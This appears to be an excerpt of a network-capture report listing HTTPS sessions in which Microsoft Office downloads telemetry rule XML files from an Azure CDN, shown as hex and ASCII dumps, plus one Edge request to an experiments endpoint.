2024-11-27 23:19:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:34 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231934Z-174f7845968qj8jrhC1EWRh41s0000000xp0000000000cf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:34 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231934Z-174f78459684bddphC1EWRbht40000000xc0000000007fcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:34 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231934Z-174f78459688l8rvhC1EWRtzr00000000a6g00000000b8hk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:35 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231935Z-174f7845968cdxdrhC1EWRg0en0000000xhg00000000cduh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:36 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231936Z-174f7845968psccphC1EWRuz9s0000000xt000000000n4sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49784	94.245.104.56	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:36 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:37 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 27 Nov 2024 23:19:36 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=2a21eb11dc02c649de5443a2d52f1b190b57687d537f3e29a60770db66f997d5;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=2a21eb11dc02c649de5443a2d52f1b190b57687d537f3e29a60770db66f997d5;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:36 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231936Z-174f7845968pf68xhC1EWRr4h80000000xu000000000dvsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:36 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231937Z-174f78459684bddphC1EWRbht40000000xa000000000dbx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49787	13.107.246.63	443	8124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231937Z-174f7845968kvnqxhC1EWRmf3g0000000gf0000000004tzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231938Z-174f7845968zgtf6hC1EWRqd8s0000000qn0000000004sh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231939Z-174f7845968swgbqhC1EWRmnb40000000xtg000000006sby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:39 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231939Z-174f7845968l4kp6hC1EWRe8840000000xtg00000000g7kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
